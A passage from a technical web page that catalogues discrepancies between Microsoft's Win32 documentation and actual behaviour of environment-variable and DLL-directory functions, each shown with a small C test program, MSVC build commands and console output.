    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	LPWSTR	lpBlock;
    	LPWSTR	lpBlunder;
    	DWORD	dwBlunder;
    	DWORD	dwError;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    #ifndef BLUNDER
    	if (!SetEnvironmentStrings(L"NAME value BLUNDER blunder"))
    #else
    	if (!SetEnvironmentStrings(L"NAME=value\0EMPTY=\0BLUNDER=blunder\0"))
    #endif
    		dwError = GetLastError();
    	else
    	{
    		lpBlock = GetEnvironmentStrings();
    
    		if (lpBlock == NULL)
    			dwError = GetLastError();
    		else
    		{
    			for (lpBlunder = lpBlock;
    			     lpBlunder[0] != L'\0';
    			     lpBlunder[dwBlunder = wcslen(lpBlunder)] = L'\n', lpBlunder += ++dwBlunder)
    				continue;
    
    			if (!WriteConsole(hError, lpBlock, dwBlunder = lpBlunder - lpBlock, &dwError, NULL))
    				dwError = GetLastError();
    			else
    				if (dwError ^= dwBlunder)
    					dwError = ERROR_WRITE_FAULT;
    			//	else
    			//		dwError = ERROR_SUCCESS;
    
    			if (!FreeEnvironmentStrings(lpBlock))
    				dwError = GetLastError();
    		}
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1. a first time:

    SET CL=/Oi /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x57 (WIN32: 87 ERROR_INVALID_PARAMETER) -- 87 (87)
    Error message text: The parameter is incorrect.
    CertUtil: -error command completed successfully.
    OUCH¹: the Win32 function SetEnvironmentStrings() rejects environment variable strings blocks formatted according to its documentation cited above with Win32 error code 87 alias ERROR_INVALID_PARAMETER!
  4. Compile and link the source file blunder.c created in step 1. a second time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  5. Execute the console application blunder.exe built in step 4. and evaluate its exit code to demonstrate the true behaviour:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    NAME=value
    EMPTY=
    BLUNDER=blunder
    
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    OUCH²: contrary to its documentation cited above, the format of the environment variable string block for the Win32 function SetEnvironmentStrings() is but ‹name›=‹value›\0…\0\0!

    OUCH³: contrary to the highlighted statement of the MSDN article cited above, the Win32 function SetEnvironmentStrings() accepts an unsorted environment block!

Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 16

The documentation for the Win32 function ExpandEnvironmentStrings() states:
Expands environment-variable strings and replaces them with the values defined for the current user.

Falsification

Perform the following 3 simple steps to prove the highlighted statement of the documentation cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szBlunder[1234];
    	DWORD	dwBlunder = ExpandEnvironmentStrings(L"%COMPUTERNAME%\n%PATH%\n",
    		                                     szBlunder,
    		                                     sizeof(szBlunder) / sizeof(*szBlunder));
    	DWORD	dwError;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (dwBlunder == 0UL)
    		dwError = GetLastError();
    	else
    		if (!WriteConsole(hError, szBlunder, --dwBlunder, &dwError, NULL))
    			dwError = GetLastError();
    		else
    			if (dwError ^= dwBlunder)
    				dwError = ERROR_WRITE_FAULT;
    		//	else
    		//		dwError = ERROR_SUCCESS;
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  3. Execute the console application blunder.exe built in step 2. to prove the highlighted statement of the documentation cited above wrong:

    REG.EXE QUERY "HKEY_CURRENT_USER\Environment" /V COMPUTERNAME
    REG.EXE QUERY "HKEY_CURRENT_USER\Environment" /V PATH
    REG.EXE QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /V COMPUTERNAME
    REG.EXE QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /V PATH
    ECHO %COMPUTERNAME%
    ECHO %PATH%
    .\blunder.exe
    ECHO %ERRORLEVEL%
    ERROR: The specified registry key or value was not found.
    
    HKEY_CURRENT_USER\Environment
        Path    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Microsoft\WindowsApps;
    
    ERROR: The specified registry key or value was not found.
    
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
        Path    REG_EXPAND_SZ    %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SystemRoot%\System32\OpenSSH\
    
    AMNESIAC
    
    C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\Stefan\AppData\Local\Microsoft\WindowsApps
    
    AMNESIAC
    C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\Stefan\AppData\Local\Microsoft\WindowsApps
    
    0
    OOPS: contrary to the highlighted statement of the documentation cited above, the Win32 function ExpandEnvironmentStrings() but replaces environment variable strings with values defined for the current process!
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 17

The documentation for the Win32 function ExpandEnvironmentStringsForUser() states:
Expands the source string by using the environment block established for the specified user.

[…]

BOOL ExpandEnvironmentStringsForUser(
  [in, optional] HANDLE  hToken,
  [in]           LPCTSTR lpSrc,
  [out]          LPTSTR  lpDest,
  [in]           DWORD   dwSize
);
[…]

If hToken is NULL, the environment block contains system variables only.

Falsification

Perform the following 3 simple steps to prove the highlighted statement of the documentation cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <userenv.h>
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szBlunder[1234];
    	DWORD	dwBlunder;
    	DWORD	dwError;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (!ExpandEnvironmentStringsForUser((HANDLE) NULL,
    	                                     L"%USERNAME%\n%USERPROFILE%\n",
    	                                     szBlunder,
    	                                     sizeof(szBlunder) / sizeof(*szBlunder)))
    		dwError = GetLastError();
    	else
    		if (!WriteConsole(hError, szBlunder, dwBlunder = wcslen(szBlunder), &dwError, NULL))
    			dwError = GetLastError();
    		else
    			if (dwError ^= dwBlunder)
    				dwError = ERROR_WRITE_FAULT;
    		//	else
    		//		dwError = ERROR_SUCCESS;
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/Oi /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib userenv.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    userenv.lib
  3. Execute the console application blunder.exe built in step 2. to prove the highlighted statement of the documentation cited above wrong:

    REG.EXE QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /V USERPROFILE
    .\blunder.exe
    ECHO %ERRORLEVEL%
    ERROR: The specified registry key or value was not found.
    
    SYSTEM
    C:\Users\Default
    
    0
    OOPS: contrary to the highlighted statement of the documentation cited above, the Win32 function ExpandEnvironmentStringsForUser() but expands (some) user environment variables when its first argument is NULL!
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 18

The documentation for the Win32 function GetEnvironmentStrings() states:
Retrieves the environment variables for the current process.
LPTCH GetEnvironmentStrings();
[…]

Note that the ANSI version of this function, GetEnvironmentStringsA, returns OEM characters.

Falsification

Perform the following 3 simple steps to prove the highlighted statement of the documentation cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    const	CHAR	szBlunder[] = "blunder=€©®™\0";
    
    __declspec(noreturn)
    VOID	CDECL	mainCRTStartup(VOID)
    {
    	LPCSTR	lpBlunder;
    	DWORD	dwError = ERROR_SUCCESS;
    
    	if (!SetEnvironmentStrings(szBlunder))
    		dwError = GetLastError();
    	else
    	{
    		lpBlunder = GetEnvironmentStrings();
    
    		if (lpBlunder == NULL)
    			dwError = GetLastError();
    		else
    		{
    			if (memcmp(lpBlunder, szBlunder, sizeof(szBlunder)) == 0)
    				dwError = ~0UL;
    
    			if (!FreeEnvironmentStrings(lpBlunder))
    				dwError = GetLastError();
    		}
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/Oi /W4 /Zl
    SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(16) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    ECHO %ERRORLEVEL%
    -1
    OUCH: contrary to the highlighted statement of its documentation cited above, the ANSI variant of the GetEnvironmentStrings() function returns of course ANSI characters, not OEM characters!
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 19

The documentation for the Win32 function GetEnvironmentVariable() specifies:
Retrieves the contents of the specified variable from the environment block of the calling process.
DWORD GetEnvironmentVariable(
  [in, optional]  LPCTSTR lpName,
  [out, optional] LPTSTR  lpBuffer,
  [in]            DWORD   nSize
);
[…]

[in] nSize

The size of the buffer pointed to by the lpBuffer parameter, including the null-terminating character, in characters.

[…]

If the function succeeds, the return value is the number of characters stored in the buffer pointed to by lpBuffer, not including the terminating null character.

[…]

If the function fails, the return value is zero. If the specified environment variable was not found in the environment block, GetLastError returns ERROR_ENVVAR_NOT_FOUND.

OOPS: there is no null-terminating character, but a (string-)terminating NUL alias (string-)terminating null character!

OUCH⁰: this documentation fails to specify that the lpBuffer parameter can be 0 alias NULL only if the nSize parameter is 0 too!

CAVEAT: when an environment variable is empty, the return value 0 indicates success instead of failure, and the GetLastError() function should return the Win32 error code 0 alias ERROR_SUCCESS!

Falsification

Perform the following 3 simple steps to show the blunder and prove the highlighted statement of the documentation cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szBlunder[9];
    	DWORD	dwError = ERROR_SUCCESS;
    
    	if (!SetEnvironmentVariable(L"blunder", L""))
    		dwError = GetLastError();
    	else
    	{
    		SetLastError(~0UL);
    
    		if (GetEnvironmentVariable(L"blunder",
    		                           szBlunder,
    		                           sizeof(szBlunder) / sizeof(*szBlunder)) == 0UL)
    			dwError = GetLastError();
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    ECHO %ERRORLEVEL%
    -1
    OUCH: the Win32 function GetEnvironmentVariable() fails to (re)set the Win32 error code when it reads an empty environment variable!
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 20

This blunder complements and supplements Blunder № 13 to Blunder № 19.

The MSDN article Environment Variables states:

The name of an environment variable cannot include an equal sign (=).
The MSDN article Changing Environment Variables states:
All strings in the environment block must be sorted alphabetically by name. The sort is case-insensitive, Unicode order, without regard to locale. Because the equal sign is a separator, it must not be used in the name of an environment variable.

Falsification

Perform the following 3 simple steps to show the blunder and prove the highlighted statements of the documentations cited above wrong:
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0UL)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	LPCWSTR	szVariable[] = {L"FIRMWARE_TYPE", L"NUMBER_OF_PROCESSORS",
    		                L"__APPDIR__", L"__CD__",
    		                L"=ExitCode", L""};
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	LPWSTR	lpBlock;
    	LPWSTR	lpBlunder;
    	WCHAR	szBlunder[1234];
    	DWORD	dwBlunder;
    	DWORD	dwVariable = 0UL;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		dwBlunder = GetEnvironmentVariable((LPCWSTR) NULL,
    		                                   (LPWSTR) NULL,
    		                                   0UL);
    		if (dwBlunder == 0UL)
    			PrintConsole(hError,
    			             L"GetEnvironmentVariable(NULL, NULL, 0UL) returned error %lu\n",
    			             dwError = GetLastError());
    
    		if (!SetEnvironmentStrings(L"__CD__=..\\*\0__APPDIR__=.\\?\0NUMBER_OF_PROCESSORS=\0FIRMWARE_TYPE=€\0BLUNDER=Blunder\0"))
    			PrintConsole(hError,
    			             L"SetEnvironmentStrings() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			SetLastError(123456789);
    
    			do
    			{
    				if (!SetEnvironmentVariable(szVariable[dwVariable], dwVariable % 2UL == 0UL ? L"" : NULL))
    					PrintConsole(hError,
    					             L"SetEnvironmentVariable(\"%ls\", %ls) returned error %lu\n",
    					             szVariable[dwVariable], dwVariable % 2UL == 0UL ? L"\"\"" : L"NULL", dwError = GetLastError());
    				else
    					PrintConsole(hError,
    					             L"SetEnvironmentVariable(\"%ls\", %ls) succeeded\n",
    					             szVariable[dwVariable], dwVariable % 2UL == 0UL ? L"\"\"" : L"NULL");
    
    				dwBlunder = GetEnvironmentVariable(szVariable[dwVariable],
    				                                   szBlunder,
    				                                   sizeof(szBlunder) / sizeof(*szBlunder));
    				if (dwBlunder == 0UL)
    					PrintConsole(hError,
    					             L"GetEnvironmentVariable(\"%ls\", 0x%p, %tu) returned error %lu\n",
    					             szVariable[dwVariable], szBlunder, sizeof(szBlunder) / sizeof(*szBlunder), dwError = GetLastError());
    				else
    					PrintConsole(hError,
    					             L"GetEnvironmentVariable(\"%ls\", 0x%p, %tu) returned value \'%ls\' of %lu characters\n",
    					             szVariable[dwVariable], szBlunder, sizeof(szBlunder) / sizeof(*szBlunder), szBlunder, dwBlunder);
    			}
    			while (++dwVariable < sizeof(szVariable) / sizeof(*szVariable));
    
    			lpBlock = GetEnvironmentStrings();
    
    			if (lpBlock == NULL)
    				PrintConsole(hError,
    				             L"GetEnvironmentStrings() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				for (lpBlunder = lpBlock;
    				     lpBlunder[0] != L'\0';
    				     lpBlunder[dwBlunder = wcslen(lpBlunder)] = L'\n', lpBlunder += ++dwBlunder)
    					continue;
    
    				if (!WriteConsole(hError, lpBlock, dwBlunder = lpBlunder - lpBlock, &dwError, NULL))
    					PrintConsole(hError,
    					             L"WriteConsole() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    					if (dwError ^= dwBlunder)
    						dwError = ERROR_WRITE_FAULT;
    				//	else
    				//		dwError = ERROR_SUCCESS;
    
    				if (!FreeEnvironmentStrings(lpBlock))
    					PrintConsole(hError,
    					             L"FreeEnvironmentStrings() returned error %lu\n",
    					             dwError = GetLastError());
    			}
    		}
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/Oi /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    VER
    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Microsoft Windows [Version 6.1.7601]
    
    GetEnvironmentVariable(NULL, NULL, 0) returned error 203
    SetEnvironmentVariable("FIRMWARE_TYPE", "") succeeded
    GetEnvironmentVariable("FIRMWARE_TYPE", 0x0051F9A8, 1234) returned error 123456789
    SetEnvironmentVariable("NUMBER_OF_PROCESSORS", NULL) succeeded
    GetEnvironmentVariable("NUMBER_OF_PROCESSORS", 0x0051F9A8, 1234) returned value '4' of 1 characters
    SetEnvironmentVariable("__APPDIR__", "") succeeded
    GetEnvironmentVariable("__APPDIR__", 0x0051F9A8, 1234) returned value 'C:\Users\Stefan\Desktop\' of 24 characters
    SetEnvironmentVariable("__CD__", NULL) succeeded
    GetEnvironmentVariable("__CD__", 0x0051F9A8, 1234) returned value 'C:\Users\Stefan\Desktop\' of 24 characters
    SetEnvironmentVariable("=ExitCode", "") succeeded
    GetEnvironmentVariable("=ExitCode", 0x0051F9A8, 1234) returned error 123456789
    SetEnvironmentVariable("", NULL) returned error 87
    GetEnvironmentVariable("", 0x0051F9A8, 1234) returned error 203
    =ExitCode=
    __APPDIR__=
    FIRMWARE_TYPE=
    BLUNDER=Blunder
    
    0xCB (WIN32: 203 ERROR_ENVVAR_NOT_FOUND) -- 203 (203)
    Error message text: The system could not find the environment option that was entered.
    CertUtil: -error command completed successfully.
    Note: the undocumented immutable dynamic system environment variables NUMBER_OF_PROCESSORS, __APPDIR__ and __CD__ were introduced with Windows Vista and Windows Server 2008 – their values are the number of processor cores, the path name of the application directory and the path name of the CWD, both with a trailing backslash.
    Microsoft Windows [Version 10.0.26100.1712]
    
    GetEnvironmentVariable(NULL, NULL, 0) returned error 203
    SetEnvironmentVariable("FIRMWARE_TYPE", "") succeeded
    GetEnvironmentVariable("FIRMWARE_TYPE", 0x00AFFA8C, 1234) returned value 'UEFI' of 4 characters
    SetEnvironmentVariable("NUMBER_OF_PROCESSORS", NULL) succeeded
    GetEnvironmentVariable("NUMBER_OF_PROCESSORS", 0x00AFFA8C, 1234) returned value '4' of 1 characters
    SetEnvironmentVariable("__APPDIR__", "") succeeded
    GetEnvironmentVariable("__APPDIR__", 0x00AFFA8C, 1234) returned value 'C:\Users\Stefan\Desktop\' of 24 characters
    SetEnvironmentVariable("__CD__", NULL) succeeded
    GetEnvironmentVariable("__CD__", 0x00AFFA8C, 1234) returned value 'C:\Users\Stefan\Desktop\' of 24 characters
    SetEnvironmentVariable("=ExitCode", "") succeeded
    GetEnvironmentVariable("=ExitCode", 0x00AFFA8C, 1234) returned error 123456789
    SetEnvironmentVariable("", NULL) returned error 87
    GetEnvironmentVariable("", 0x00AFFA8C, 1234) returned error 203
    =ExitCode=
    __APPDIR__=
    FIRMWARE_TYPE=
    BLUNDER=Blunder
    
    0xCB (WIN32: 203 ERROR_ENVVAR_NOT_FOUND) -- 203 (203)
    Error message text: The system could not find the environment option that was entered.
    CertUtil: -error command completed successfully.
    Note: the undocumented immutable dynamic system environment variable FIRMWARE_TYPE was introduced with Windows 8 and Windows Server 2012 – its value is Legacy if the computer was booted via the legacy BIOS, else UEFI.

    CAVEAT: while the Win32 functions GetEnvironmentStrings() and SetEnvironmentStrings() read respectively write a process environment block containing these environment variables and the Win32 function SetEnvironmentVariable() writes them into or removes them from a process environment block, the Win32 function GetEnvironmentVariable() does not read them from a process environment block, but yields their current dynamic value instead!

    OUCH¹: the Win32 function GetEnvironmentVariable() returns 0 for an environment variable with empty value, but fails to (re)set the Win32 error code 0 alias ERROR_SUCCESS to indicate no error!

    OUCH²: contrary to the highlighted statements of both MSDN articles cited above, the Win32 functions GetEnvironmentVariable() and SetEnvironmentVariable() support an environment variable name containing an equal sign!

    OOPS¹: while the Win32 function SetEnvironmentVariable() returns the Win32 error code 87 alias ERROR_INVALID_PARAMETER for an empty environment variable name, the Win32 function GetEnvironmentVariable() returns the Win32 error code 203 alias ERROR_ENVVAR_NOT_FOUND instead.

    OOPS²: contrary to the highlighted statement of the MSDN article cited above, the Win32 functions GetEnvironmentStrings(), GetEnvironmentVariable(), SetEnvironmentStrings() and SetEnvironmentVariable() support an unsorted environment block!

Note: an exploration of the blunder with the Win32 functions ExpandEnvironmentStrings() and ExpandEnvironmentStringsForUser() is left as an exercise to the reader.

Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 21

The documentation for the Win32 function SetDllDirectory() specifies:
Adds a directory to the search path used to locate DLLs for the application.
BOOL SetDllDirectory(
  [in, optional] LPCTSTR lpPathName
);
[…]

[in, optional] lpPathName

The directory to be added to the search path. If this parameter is an empty string (""), the call removes the current directory from the default DLL search order. If this parameter is NULL, the function restores the default search order.

The documentation for the Win32 function GetDllDirectory() specifies:
Retrieves the application-specific portion of the search path used to locate DLLs for the application.
DWORD GetDllDirectory(
  [in]  DWORD  nBufferLength,
  [out] LPTSTR lpBuffer
);
[…]

If the function succeeds, the return value is the length of the string copied to lpBuffer, in characters, not including the terminating null character. If the return value is greater than nBufferLength, it specifies the size of the buffer required for the path.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

OOPS: this documentation fails to specify that lpBuffer can be 0 alias NULL if nBufferLength is 0 – lpBuffer is an optional parameter!

CAVEAT: when SetDllDirectory() was called with an empty string before, the return value 0 indicates success instead of failure, and the GetLastError() function should return the Win32 error code 0 alias ERROR_SUCCESS!

Falsification

Perform the following 3 simple steps to show the blunder and prove the highlighted statement of the documentation cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szBlunder[MAX_PATH];
    	DWORD	dwBlunder = GetDllDirectory(0UL, (LPWSTR) NULL);
    	DWORD	dwError = ERROR_SUCCESS;
    
    	if (dwBlunder == 0UL)
    		dwError = GetLastError();
    	else
    	{
    		SetLastError(~0UL);
    
    		dwBlunder = GetDllDirectory(dwBlunder, szBlunder);
    
    		if (dwBlunder == 0UL)
    			dwError = GetLastError();
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    ECHO %ERRORLEVEL%
    -1
    OUCH: the Win32 function GetDllDirectory() fails to (re)set the Win32 error code when no application-specific DLL search path is set!
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Similar Behaviour

The documentation for the Win32 function GetClassLong() specifies in its Return value section:
If the function succeeds, the return value is the requested value.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

The documentation for the Win32 function GetClassLongPtr() specifies in its Return value section:
If the function succeeds, the return value is the requested value.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

The documentation for the Win32 function GetClassWord() specifies in its Return value section:
If the function succeeds, the return value is the requested 16-bit value.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

The documentation for the Win32 function GetWindowLong() specifies in its Return value section:
If the function succeeds, the return value is the requested value.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

If SetWindowLong has not been called previously, GetWindowLong returns zero for values in the extra window or class memory.

The documentation for the Win32 function GetWindowLongPtr() specifies in its Return value section:
If the function succeeds, the return value is the requested value.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

If SetWindowLong or SetWindowLongPtr has not been called previously, GetWindowLongPtr returns zero for values in the extra window or class memory.

The documentation for the Win32 function SetClassLong() specifies in its Return value section:
If the function succeeds, the return value is the previous value of the specified offset. If this was not previously set, the return value is zero.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

